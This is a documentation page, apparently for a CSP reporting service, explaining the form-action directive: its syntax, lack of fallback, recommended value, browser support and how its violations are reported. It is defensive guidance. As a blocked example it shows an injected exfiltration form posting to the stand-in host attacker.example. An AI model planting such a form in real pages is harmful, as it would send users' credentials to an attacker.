form-action
form-action restricts the URLs a <form> may submit to.
Like base-uri and frame-ancestors, it has no fallback: a policy of default-src 'none' still lets an injected form post your users’ credentials to any host on the internet. Writing it out is the only way to have it.
Syntax
Section titled “Syntax”Content-Security-Policy: form-action 'none';Content-Security-Policy: form-action <source-expression-list>;What it controls
Section titled “What it controls”- The
actionof a<form>, includingjavascript:actions. - Form submissions triggered from script.
Fallback
Section titled “Fallback”form-action has no fallback. If it is absent from the policy it restricts nothing, whatever default-src says.
Recommended value
Section titled “Recommended value”Content-Security-Policy: form-action 'self'- Most applications post only to themselves. Add the payment or SSO origin you genuinely submit to and nothing else.
- If your identity provider posts back through a form, list its origin here - this is the directive that breaks SAML and some OAuth form-post flows.
Examples
Section titled “Examples”Allowed
Section titled “Allowed”Under form-action 'self':
<form action="/checkout" method="post">…</form>Blocked
Section titled “Blocked”Under form-action 'self', an injected exfiltration form:
<form action="https://attacker.example/collect" method="post">…</form>Browser support
Section titled “Browser support”- Widely available across browsers since April 2017.
- Whether a redirect after a submission should be checked is unsettled, and browsers disagree: some block the redirect target, some do not. Do not rely on
form-actionto constrain where a submission ends up, only where it starts.
In a HeaderHawk report
Section titled “In a HeaderHawk report”| Field | Value |
|---|---|
violatedDirective |
form-action |
effectiveDirective |
form-action |
blockedUri |
https://attacker.example/collect |
| Issue title | form-action blocking attacker.example |
- Expected volume on a tuned policy is zero or close to it, which makes this another good alert-rule candidate.
- A steady trickle naming one third-party host is usually a real integration nobody documented - a payment provider or a support widget - rather than an attack. The document URLs on the issue tell you which page it is.
Related directives
Section titled “Related directives”Getting reports for this directive
Section titled “Getting reports for this directive”Point your policy’s report-uri at your site’s HeaderHawk endpoint and the violations above arrive in the dashboard, grouped as described. The Quick Start sets that up in five minutes, and the integration guides cover the header syntax for each platform.